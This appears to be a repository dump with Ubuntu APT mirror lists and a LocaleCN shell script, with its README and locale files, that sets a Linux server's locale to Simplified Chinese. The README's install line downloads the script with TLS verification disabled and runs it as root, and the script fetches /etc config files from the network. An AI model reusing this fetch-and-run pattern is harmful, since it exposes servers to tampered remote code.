7 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
8 | deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
9 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
10 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
11 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
12 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
13 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
14 | #阿里云源
15 | deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
16 | deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
17 | deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
18 | deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
19 | deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
20 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
21 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
22 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
23 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
24 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
25 | #清华源
26 | cat > /etc/apt/sources.list << EOF
27 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
28 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
29 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
30 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
31 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
32 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
33 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
34 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
35 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
36 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
37 | EOF
38 | ***
39 | 官方
40 | deb http://archive.ubuntu.com/ubuntu/ bionic main restricted universe multiverse
41 | deb http://archive.ubuntu.com/ubuntu/ bionic-updates main restricted universe multiverse
42 | deb http://archive.ubuntu.com/ubuntu/ bionic-backports main restricted universe multiverse
43 | deb http://archive.ubuntu.com/ubuntu/ bionic-security main restricted universe multiverse
44 | deb http://archive.ubuntu.com/ubuntu/ bionic-proposed main restricted universe multiverse
45 | deb-src http://archive.ubuntu.com/ubuntu/ bionic main restricted universe multiverse
46 | deb-src http://archive.ubuntu.com/ubuntu/ bionic-updates main restricted universe multiverse
47 | deb-src http://archive.ubuntu.com/ubuntu/ bionic-backports main restricted universe multiverse
48 | deb-src http://archive.ubuntu.com/ubuntu/ bionic-security main restricted universe multiverse
49 | deb-src http://archive.ubuntu.com/ubuntu/ bionic-proposed main restricted universe multiverse
50 |
51 |
--------------------------------------------------------------------------------
/APT/ubuntu20:
--------------------------------------------------------------------------------
1 | #Ubuntu20.04
2 | ----
3 | #中科大源
4 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal main restricted universe multiverse
5 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
6 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
7 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal-security main restricted universe multiverse
8 | deb https://mirrors.ustc.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse
9 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal main restricted universe multiverse
10 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
11 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
12 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal-security main restricted universe multiverse
13 | deb-src https://mirrors.ustc.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse
14 | #阿里云源
15 | deb http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse
16 | deb http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse
17 | deb http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse
18 | deb http://mirrors.aliyun.com/ubuntu/ focal-proposed main restricted universe multiverse
19 | deb http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiverse
20 | deb-src http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse
21 | deb-src http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse
22 | deb-src http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse
23 | deb-src http://mirrors.aliyun.com/ubuntu/ focal-proposed main restricted universe multiverse
24 | deb-src http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiverse
25 | #清华源
26 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
27 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
28 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
29 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
30 | deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse
31 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
32 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
33 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
34 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
35 | deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse
36 | ***
37 | 官方
38 | deb http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse
39 | deb http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse
40 | deb http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse
41 | deb http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse
42 | deb http://archive.ubuntu.com/ubuntu/ focal-proposed main restricted universe multiverse
43 | deb-src http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse
44 | deb-src http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse
45 | deb-src http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse
46 | deb-src http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse
47 | deb-src http://archive.ubuntu.com/ubuntu/ focal-proposed main restricted universe multiverse
48 |
--------------------------------------------------------------------------------
/LocaleCN/LocaleCN.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
3 | export PATH
4 |
5 | # Check System Release
6 | if [ -f /etc/redhat-release ]; then
7 | release="centos"
8 | elif cat /etc/issue | grep -Eqi "debian"; then
9 | release="debian"
10 | elif cat /etc/issue | grep -Eqi "ubuntu"; then
11 | release="ubuntu"
12 | elif cat /etc/issue | grep -Eqi "centos|red hat|redhat"; then
13 | release="centos"
14 | elif cat /proc/version | grep -Eqi "debian"; then
15 | release="debian"
16 | elif cat /proc/version | grep -Eqi "ubuntu"; then
17 | release="ubuntu"
18 | elif cat /proc/version | grep -Eqi "centos|red hat|redhat"; then
19 | release="centos"
20 | fi
21 |
22 | # Check root
23 | [[ $EUID -ne 0 ]] && echo -e "${RED}Error:${PLAIN} This script must be run as root!" && exit 1
24 |
25 | # Install some dependencies
26 | if [ "${release}" == "centos" ]; then
27 | yum -y install wget ca-certificates locales localedef
28 | else
29 | apt-get update
30 | apt-get -y install wget ca-certificates locales
31 | fi
32 |
33 | # Get Word dir
34 | dir=$(pwd)
35 |
36 | # Change Locale
37 | if [ "${release}" == "centos" ]; then
38 | localedef -v -c -i zh_CN -f UTF-8 zh_CN.UTF-8 > /dev/null 2>&1
39 | cd /etc
40 | rm -rf locale.conf
41 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.conf > /dev/null 2>&1
42 | cp locale.conf locale
43 | cat locale.conf >> /etc/environment
44 |
45 | elif [ "${release}" == "debian" ]; then
46 | rm -rf /etc/locale.gen
47 | rm -rf /etc/default/locale
48 | rm -rf /etc/default/locale.conf
49 | cd /etc/
50 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.gen > /dev/null 2>&1
51 | locale-gen
52 | cd /etc/default/
53 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.conf > /dev/null 2>&1
54 | cp locale.conf locale
55 | elif [ "${release}" == "ubuntu" ]; then
56 | rm -rf /etc/locale.gen
57 | rm -rf /etc/default/locale
58 | rm -rf /etc/default/locale.conf
59 | cd /etc/
60 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.gen > /dev/null 2>&1
61 | locale-gen
62 | cd /etc/default/
63 | wget https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/locale.conf > /dev/null 2>&1
64 | cp locale.conf locale
65 | fi
66 |
67 | # Echo Success
68 | clear
69 | echo "Your VPS Language setting is changed to Chinese(Simplified)"
70 | echo "Reconnect to your VPS to check it"
71 | echo ""
72 | echo "Powered By zhujiboke.com "
73 | echo "QQ Group: 119612388"
74 |
75 | # Delete self
76 | cd ${dir}
77 | rm -rf LocaleCN.sh
78 |
--------------------------------------------------------------------------------
/LocaleCN/README.md:
--------------------------------------------------------------------------------
1 | # LocaleCN
2 | 更改Linux服务器终端显示语言为中文的脚本
3 |
4 | ## 使用前
5 | 
6 |
7 | ## 使用后
8 | 
9 |
10 | ## 命令
11 |
12 | wget -N --no-check-certificate https://raw.githubusercontent.com/caippx/bash/master/LocaleCN/LocaleCN.sh && bash LocaleCN.sh
13 |
14 | ## 系统支持
15 |
16 | * Debian 8 / 9
17 | * Ubuntu 14 / 16
18 | * CentOS 6 / 7
19 |
20 | ## 反馈
21 |
22 | 这个脚本在Digital Ocean上面都测试完成了。但是不清楚其他系统是否能测试成功。如果出现无法使用的情况,可以反馈给我。
23 |
24 | * 网站:[zhujiboke.com](https://www.zhujiboke.com)
25 | * QQ群:119612388
26 | * Github Issue
27 | * TG群:[https://t.me/functionclub](https://t.me/functionclub)
28 |
29 |
--------------------------------------------------------------------------------
/LocaleCN/after.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/LocaleCN/after.png
--------------------------------------------------------------------------------
/LocaleCN/before.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/LocaleCN/before.png
--------------------------------------------------------------------------------
/LocaleCN/locale.conf:
--------------------------------------------------------------------------------
1 | LANG=zh_CN.UTF-8
2 | LANGUAGE="zh_CN.UTF-8"
3 | LC_CTYPE="zh_CN.UTF-8"
4 | LC_NUMERIC="zh_CN.UTF-8"
5 | LC_TIME="zh_CN.UTF-8"
6 | LC_COLLATE="zh_CN.UTF-8"
7 | LC_MONETARY="zh_CN.UTF-8"
8 | LC_MESSAGES="zh_CN.UTF-8"
9 | LC_PAPER="zh_CN.UTF-8"
10 | LC_NAME="zh_CN.UTF-8"
11 | LC_ADDRESS="zh_CN.UTF-8"
12 | LC_TELEPHONE="zh_CN.UTF-8"
13 | LC_MEASUREMENT="zh_CN.UTF-8"
14 | LC_IDENTIFICATION="zh_CN.UTF-8"
15 | LC_ALL="zh_CN.UTF-8"
16 |
--------------------------------------------------------------------------------
/LocaleCN/locale.gen:
--------------------------------------------------------------------------------
1 | # This file lists locales that you wish to have built. You can find a list
2 | # of valid supported locales at /usr/share/i18n/SUPPORTED, and you can add
3 | # user defined locales to /usr/local/share/i18n/SUPPORTED. If you change
4 | # this file, you need to rerun locale-gen.
5 |
6 |
7 | # aa_DJ ISO-8859-1
8 | # aa_DJ.UTF-8 UTF-8
9 | # aa_ER UTF-8
10 | # aa_ER@saaho UTF-8
11 | # aa_ET UTF-8
12 | # af_ZA ISO-8859-1
13 | # af_ZA.UTF-8 UTF-8
14 | # ak_GH UTF-8
15 | # am_ET UTF-8
16 | # an_ES ISO-8859-15
17 | # an_ES.UTF-8 UTF-8
18 | # anp_IN UTF-8
19 | # ar_AE ISO-8859-6
20 | # ar_AE.UTF-8 UTF-8
21 | # ar_BH ISO-8859-6
22 | # ar_BH.UTF-8 UTF-8
23 | # ar_DZ ISO-8859-6
24 | # ar_DZ.UTF-8 UTF-8
25 | # ar_EG ISO-8859-6
26 | # ar_EG.UTF-8 UTF-8
27 | # ar_IN UTF-8
28 | # ar_IQ ISO-8859-6
29 | # ar_IQ.UTF-8 UTF-8
30 | # ar_JO ISO-8859-6
31 | # ar_JO.UTF-8 UTF-8
32 | # ar_KW ISO-8859-6
33 | # ar_KW.UTF-8 UTF-8
34 | # ar_LB ISO-8859-6
35 | # ar_LB.UTF-8 UTF-8
36 | # ar_LY ISO-8859-6
37 | # ar_LY.UTF-8 UTF-8
38 | # ar_MA ISO-8859-6
39 | # ar_MA.UTF-8 UTF-8
40 | # ar_OM ISO-8859-6
41 | # ar_OM.UTF-8 UTF-8
42 | # ar_QA ISO-8859-6
43 | # ar_QA.UTF-8 UTF-8
44 | # ar_SA ISO-8859-6
45 | # ar_SA.UTF-8 UTF-8
46 | # ar_SD ISO-8859-6
47 | # ar_SD.UTF-8 UTF-8
48 | # ar_SS UTF-8
49 | # ar_SY ISO-8859-6
50 | # ar_SY.UTF-8 UTF-8
51 | # ar_TN ISO-8859-6
52 | # ar_TN.UTF-8 UTF-8
53 | # ar_YE ISO-8859-6
54 | # ar_YE.UTF-8 UTF-8
55 | # as_IN UTF-8
56 | # ast_ES ISO-8859-15
57 | # ast_ES.UTF-8 UTF-8
58 | # ayc_PE UTF-8
59 | # az_AZ UTF-8
60 | # be_BY CP1251
61 | # be_BY.UTF-8 UTF-8
62 | # be_BY@latin UTF-8
63 | # bem_ZM UTF-8
64 | # ber_DZ UTF-8
65 | # ber_MA UTF-8
66 | # bg_BG CP1251
67 | # bg_BG.UTF-8 UTF-8
68 | # bhb_IN.UTF-8 UTF-8
69 | # bho_IN UTF-8
70 | # bn_BD UTF-8
71 | # bn_IN UTF-8
72 | # bo_CN UTF-8
73 | # bo_IN UTF-8
74 | # br_FR ISO-8859-1
75 | # br_FR.UTF-8 UTF-8
76 | # br_FR@euro ISO-8859-15
77 | # brx_IN UTF-8
78 | # bs_BA ISO-8859-2
79 | # bs_BA.UTF-8 UTF-8
80 | # byn_ER UTF-8
81 | # ca_AD ISO-8859-15
82 | # ca_AD.UTF-8 UTF-8
83 | # ca_ES ISO-8859-1
84 | # ca_ES.UTF-8 UTF-8
85 | # ca_ES.UTF-8@valencia UTF-8
86 | # ca_ES@euro ISO-8859-15
87 | # ca_ES@valencia ISO-8859-15
88 | # ca_FR ISO-8859-15
89 | # ca_FR.UTF-8 UTF-8
90 | # ca_IT ISO-8859-15
91 | # ca_IT.UTF-8 UTF-8
92 | # ce_RU UTF-8
93 | # chr_US UTF-8
94 | # cmn_TW UTF-8
95 | # crh_UA UTF-8
96 | # cs_CZ ISO-8859-2
97 | # cs_CZ.UTF-8 UTF-8
98 | # csb_PL UTF-8
99 | # cv_RU UTF-8
100 | # cy_GB ISO-8859-14
101 | # cy_GB.UTF-8 UTF-8
102 | # da_DK ISO-8859-1
103 | # da_DK.UTF-8 UTF-8
104 | # de_AT ISO-8859-1
105 | # de_AT.UTF-8 UTF-8
106 | # de_AT@euro ISO-8859-15
107 | # de_BE ISO-8859-1
108 | # de_BE.UTF-8 UTF-8
109 | # de_BE@euro ISO-8859-15
110 | # de_CH ISO-8859-1
111 | # de_CH.UTF-8 UTF-8
112 | # de_DE ISO-8859-1
113 | # de_DE.UTF-8 UTF-8
114 | # de_DE@euro ISO-8859-15
115 | # de_IT ISO-8859-1
116 | # de_IT.UTF-8 UTF-8
117 | # de_LI.UTF-8 UTF-8
118 | # de_LU ISO-8859-1
119 | # de_LU.UTF-8 UTF-8
120 | # de_LU@euro ISO-8859-15
121 | # doi_IN UTF-8
122 | # dv_MV UTF-8
123 | # dz_BT UTF-8
124 | # el_CY ISO-8859-7
125 | # el_CY.UTF-8 UTF-8
126 | # el_GR ISO-8859-7
127 | # el_GR.UTF-8 UTF-8
128 | # en_AG UTF-8
129 | # en_AU ISO-8859-1
130 | # en_AU.UTF-8 UTF-8
131 | # en_BW ISO-8859-1
132 | # en_BW.UTF-8 UTF-8
133 | # en_CA ISO-8859-1
134 | # en_CA.UTF-8 UTF-8
135 | # en_DK ISO-8859-1
136 | # en_DK.ISO-8859-15 ISO-8859-15
137 | # en_DK.UTF-8 UTF-8
138 | # en_GB ISO-8859-1
139 | # en_GB.ISO-8859-15 ISO-8859-15
140 | # en_GB.UTF-8 UTF-8
141 | # en_HK ISO-8859-1
142 | # en_HK.UTF-8 UTF-8
143 | # en_IE ISO-8859-1
144 | # en_IE.UTF-8 UTF-8
145 | # en_IE@euro ISO-8859-15
146 | # en_IL UTF-8
147 | # en_IN UTF-8
148 | # en_NG UTF-8
149 | # en_NZ ISO-8859-1
150 | # en_NZ.UTF-8 UTF-8
151 | # en_PH ISO-8859-1
152 | # en_PH.UTF-8 UTF-8
153 | # en_SG ISO-8859-1
154 | # en_SG.UTF-8 UTF-8
155 | # en_US ISO-8859-1
156 | # en_US.ISO-8859-15 ISO-8859-15
157 | # en_US.UTF-8 UTF-8
158 | # en_ZA ISO-8859-1
159 | # en_ZA.UTF-8 UTF-8
160 | # en_ZM UTF-8
161 | # en_ZW ISO-8859-1
162 | # en_ZW.UTF-8 UTF-8
163 | # eo UTF-8
164 | # es_AR ISO-8859-1
165 | # es_AR.UTF-8 UTF-8
166 | # es_BO ISO-8859-1
167 | # es_BO.UTF-8 UTF-8
168 | # es_CL ISO-8859-1
169 | # es_CL.UTF-8 UTF-8
170 | # es_CO ISO-8859-1
171 | # es_CO.UTF-8 UTF-8
172 | # es_CR ISO-8859-1
173 | # es_CR.UTF-8 UTF-8
174 | # es_CU UTF-8
175 | # es_DO ISO-8859-1
176 | # es_DO.UTF-8 UTF-8
177 | # es_EC ISO-8859-1
178 | # es_EC.UTF-8 UTF-8
179 | # es_ES ISO-8859-1
180 | # es_ES.UTF-8 UTF-8
181 | # es_ES@euro ISO-8859-15
182 | # es_GT ISO-8859-1
183 | # es_GT.UTF-8 UTF-8
184 | # es_HN ISO-8859-1
185 | # es_HN.UTF-8 UTF-8
186 | # es_MX ISO-8859-1
187 | # es_MX.UTF-8 UTF-8
188 | # es_NI ISO-8859-1
189 | # es_NI.UTF-8 UTF-8
190 | # es_PA ISO-8859-1
191 | # es_PA.UTF-8 UTF-8
192 | # es_PE ISO-8859-1
193 | # es_PE.UTF-8 UTF-8
194 | # es_PR ISO-8859-1
195 | # es_PR.UTF-8 UTF-8
196 | # es_PY ISO-8859-1
197 | # es_PY.UTF-8 UTF-8
198 | # es_SV ISO-8859-1
199 | # es_SV.UTF-8 UTF-8
200 | # es_US ISO-8859-1
201 | # es_US.UTF-8 UTF-8
202 | # es_UY ISO-8859-1
203 | # es_UY.UTF-8 UTF-8
204 | # es_VE ISO-8859-1
205 | # es_VE.UTF-8 UTF-8
206 | # et_EE ISO-8859-1
207 | # et_EE.ISO-8859-15 ISO-8859-15
208 | # et_EE.UTF-8 UTF-8
209 | # eu_ES ISO-8859-1
210 | # eu_ES.UTF-8 UTF-8
211 | # eu_ES@euro ISO-8859-15
212 | # eu_FR ISO-8859-1
213 | # eu_FR.UTF-8 UTF-8
214 | # eu_FR@euro ISO-8859-15
215 | # fa_IR UTF-8
216 | # ff_SN UTF-8
217 | # fi_FI ISO-8859-1
218 | # fi_FI.UTF-8 UTF-8
219 | # fi_FI@euro ISO-8859-15
220 | # fil_PH UTF-8
221 | # fo_FO ISO-8859-1
222 | # fo_FO.UTF-8 UTF-8
223 | # fr_BE ISO-8859-1
224 | # fr_BE.UTF-8 UTF-8
225 | # fr_BE@euro ISO-8859-15
226 | # fr_CA ISO-8859-1
227 | # fr_CA.UTF-8 UTF-8
228 | # fr_CH ISO-8859-1
229 | # fr_CH.UTF-8 UTF-8
230 | # fr_FR ISO-8859-1
231 | # fr_FR.UTF-8 UTF-8
232 | # fr_FR@euro ISO-8859-15
233 | # fr_LU ISO-8859-1
234 | # fr_LU.UTF-8 UTF-8
235 | # fr_LU@euro ISO-8859-15
236 | # fur_IT UTF-8
237 | # fy_DE UTF-8
238 | # fy_NL UTF-8
239 | # ga_IE ISO-8859-1
240 | # ga_IE.UTF-8 UTF-8
241 | # ga_IE@euro ISO-8859-15
242 | # gd_GB ISO-8859-15
243 | # gd_GB.UTF-8 UTF-8
244 | # gez_ER UTF-8
245 | # gez_ER@abegede UTF-8
246 | # gez_ET UTF-8
247 | # gez_ET@abegede UTF-8
248 | # gl_ES ISO-8859-1
249 | # gl_ES.UTF-8 UTF-8
250 | # gl_ES@euro ISO-8859-15
251 | # gu_IN UTF-8
252 | # gv_GB ISO-8859-1
253 | # gv_GB.UTF-8 UTF-8
254 | # ha_NG UTF-8
255 | # hak_TW UTF-8
256 | # he_IL ISO-8859-8
257 | # he_IL.UTF-8 UTF-8
258 | # hi_IN UTF-8
259 | # hne_IN UTF-8
260 | # hr_HR ISO-8859-2
261 | # hr_HR.UTF-8 UTF-8
262 | # hsb_DE ISO-8859-2
263 | # hsb_DE.UTF-8 UTF-8
264 | # ht_HT UTF-8
265 | # hu_HU ISO-8859-2
266 | # hu_HU.UTF-8 UTF-8
267 | # hy_AM UTF-8
268 | # hy_AM.ARMSCII-8 ARMSCII-8
269 | # ia_FR UTF-8
270 | # id_ID ISO-8859-1
271 | # id_ID.UTF-8 UTF-8
272 | # ig_NG UTF-8
273 | # ik_CA UTF-8
274 | # is_IS ISO-8859-1
275 | # is_IS.UTF-8 UTF-8
276 | # it_CH ISO-8859-1
277 | # it_CH.UTF-8 UTF-8
278 | # it_IT ISO-8859-1
279 | # it_IT.UTF-8 UTF-8
280 | # it_IT@euro ISO-8859-15
281 | # iu_CA UTF-8
282 | # ja_JP.EUC-JP EUC-JP
283 | # ja_JP.UTF-8 UTF-8
284 | # ka_GE GEORGIAN-PS
285 | # ka_GE.UTF-8 UTF-8
286 | # kk_KZ PT154
287 | # kk_KZ.RK1048 RK1048
288 | # kk_KZ.UTF-8 UTF-8
289 | # kl_GL ISO-8859-1
290 | # kl_GL.UTF-8 UTF-8
291 | # km_KH UTF-8
292 | # kn_IN UTF-8
293 | # ko_KR.EUC-KR EUC-KR
294 | # ko_KR.UTF-8 UTF-8
295 | # kok_IN UTF-8
296 | # ks_IN UTF-8
297 | # ks_IN@devanagari UTF-8
298 | # ku_TR ISO-8859-9
299 | # ku_TR.UTF-8 UTF-8
300 | # kw_GB ISO-8859-1
301 | # kw_GB.UTF-8 UTF-8
302 | # ky_KG UTF-8
303 | # lb_LU UTF-8
304 | # lg_UG ISO-8859-10
305 | # lg_UG.UTF-8 UTF-8
306 | # li_BE UTF-8
307 | # li_NL UTF-8
308 | # lij_IT UTF-8
309 | # ln_CD UTF-8
310 | # lo_LA UTF-8
311 | # lt_LT ISO-8859-13
312 | # lt_LT.UTF-8 UTF-8
313 | # lv_LV ISO-8859-13
314 | # lv_LV.UTF-8 UTF-8
315 | # lzh_TW UTF-8
316 | # mag_IN UTF-8
317 | # mai_IN UTF-8
318 | # mg_MG ISO-8859-15
319 | # mg_MG.UTF-8 UTF-8
320 | # mhr_RU UTF-8
321 | # mi_NZ ISO-8859-13
322 | # mi_NZ.UTF-8 UTF-8
323 | # mk_MK ISO-8859-5
324 | # mk_MK.UTF-8 UTF-8
325 | # ml_IN UTF-8
326 | # mn_MN UTF-8
327 | # mni_IN UTF-8
328 | # mr_IN UTF-8
329 | # ms_MY ISO-8859-1
330 | # ms_MY.UTF-8 UTF-8
331 | # mt_MT ISO-8859-3
332 | # mt_MT.UTF-8 UTF-8
333 | # my_MM UTF-8
334 | # nan_TW UTF-8
335 | # nan_TW@latin UTF-8
336 | # nb_NO ISO-8859-1
337 | # nb_NO.UTF-8 UTF-8
338 | # nds_DE UTF-8
339 | # nds_NL UTF-8
340 | # ne_NP UTF-8
341 | # nhn_MX UTF-8
342 | # niu_NU UTF-8
343 | # niu_NZ UTF-8
344 | # nl_AW UTF-8
345 | # nl_BE ISO-8859-1
346 | # nl_BE.UTF-8 UTF-8
347 | # nl_BE@euro ISO-8859-15
348 | # nl_NL ISO-8859-1
349 | # nl_NL.UTF-8 UTF-8
350 | # nl_NL@euro ISO-8859-15
351 | # nn_NO ISO-8859-1
352 | # nn_NO.UTF-8 UTF-8
353 | # nr_ZA UTF-8
354 | # nso_ZA UTF-8
355 | # oc_FR ISO-8859-1
356 | # oc_FR.UTF-8 UTF-8
357 | # om_ET UTF-8
358 | # om_KE ISO-8859-1
359 | # om_KE.UTF-8 UTF-8
360 | # or_IN UTF-8
361 | # os_RU UTF-8
362 | # pa_IN UTF-8
363 | # pa_PK UTF-8
364 | # pap_AW UTF-8
365 | # pap_CW UTF-8
366 | # pl_PL ISO-8859-2
367 | # pl_PL.UTF-8 UTF-8
368 | # ps_AF UTF-8
369 | # pt_BR ISO-8859-1
370 | # pt_BR.UTF-8 UTF-8
371 | # pt_PT ISO-8859-1
372 | # pt_PT.UTF-8 UTF-8
373 | # pt_PT@euro ISO-8859-15
374 | # quz_PE UTF-8
375 | # raj_IN UTF-8
376 | # ro_RO ISO-8859-2
377 | # ro_RO.UTF-8 UTF-8
378 | # ru_RU ISO-8859-5
379 | # ru_RU.CP1251 CP1251
380 | # ru_RU.KOI8-R KOI8-R
381 | # ru_RU.UTF-8 UTF-8
382 | # ru_UA KOI8-U
383 | # ru_UA.UTF-8 UTF-8
384 | # rw_RW UTF-8
385 | # sa_IN UTF-8
386 | # sat_IN UTF-8
387 | # sc_IT UTF-8
388 | # sd_IN UTF-8
389 | # sd_IN@devanagari UTF-8
390 | # se_NO UTF-8
391 | # sgs_LT UTF-8
392 | # shs_CA UTF-8
393 | # si_LK UTF-8
394 | # sid_ET UTF-8
395 | # sk_SK ISO-8859-2
396 | # sk_SK.UTF-8 UTF-8
397 | # sl_SI ISO-8859-2
398 | # sl_SI.UTF-8 UTF-8
399 | # so_DJ ISO-8859-1
400 | # so_DJ.UTF-8 UTF-8
401 | # so_ET UTF-8
402 | # so_KE ISO-8859-1
403 | # so_KE.UTF-8 UTF-8
404 | # so_SO ISO-8859-1
405 | # so_SO.UTF-8 UTF-8
406 | # sq_AL ISO-8859-1
407 | # sq_AL.UTF-8 UTF-8
408 | # sq_MK UTF-8
409 | # sr_ME UTF-8
410 | # sr_RS UTF-8
411 | # sr_RS@latin UTF-8
412 | # ss_ZA UTF-8
413 | # st_ZA ISO-8859-1
414 | # st_ZA.UTF-8 UTF-8
415 | # sv_FI ISO-8859-1
416 | # sv_FI.UTF-8 UTF-8
417 | # sv_FI@euro ISO-8859-15
418 | # sv_SE ISO-8859-1
419 | # sv_SE.ISO-8859-15 ISO-8859-15
420 | # sv_SE.UTF-8 UTF-8
421 | # sw_KE UTF-8
422 | # sw_TZ UTF-8
423 | # szl_PL UTF-8
424 | # ta_IN UTF-8
425 | # ta_LK UTF-8
426 | # tcy_IN.UTF-8 UTF-8
427 | # te_IN UTF-8
428 | # tg_TJ KOI8-T
429 | # tg_TJ.UTF-8 UTF-8
430 | # th_TH TIS-620
431 | # th_TH.UTF-8 UTF-8
432 | # the_NP UTF-8
433 | # ti_ER UTF-8
434 | # ti_ET UTF-8
435 | # tig_ER UTF-8
436 | # tk_TM UTF-8
437 | # tl_PH ISO-8859-1
438 | # tl_PH.UTF-8 UTF-8
439 | # tn_ZA UTF-8
440 | # tr_CY ISO-8859-9
441 | # tr_CY.UTF-8 UTF-8
442 | # tr_TR ISO-8859-9
443 | # tr_TR.UTF-8 UTF-8
444 | # ts_ZA UTF-8
445 | # tt_RU UTF-8
446 | # tt_RU@iqtelif UTF-8
447 | # ug_CN UTF-8
448 | # uk_UA KOI8-U
449 | # uk_UA.UTF-8 UTF-8
450 | # unm_US UTF-8
451 | # ur_IN UTF-8
452 | # ur_PK UTF-8
453 | # uz_UZ ISO-8859-1
454 | # uz_UZ.UTF-8 UTF-8
455 | # uz_UZ@cyrillic UTF-8
456 | # ve_ZA UTF-8
457 | # vi_VN UTF-8
458 | # wa_BE ISO-8859-1
459 | # wa_BE.UTF-8 UTF-8
460 | # wa_BE@euro ISO-8859-15
461 | # wae_CH UTF-8
462 | # wal_ET UTF-8
463 | # wo_SN UTF-8
464 | # xh_ZA ISO-8859-1
465 | # xh_ZA.UTF-8 UTF-8
466 | # yi_US CP1255
467 | # yi_US.UTF-8 UTF-8
468 | # yo_NG UTF-8
469 | # yue_HK UTF-8
470 | # zh_CN GB2312
471 | # zh_CN.GB18030 GB18030
472 | # zh_CN.GBK GBK
473 | zh_CN.UTF-8 UTF-8
474 | # zh_HK BIG5-HKSCS
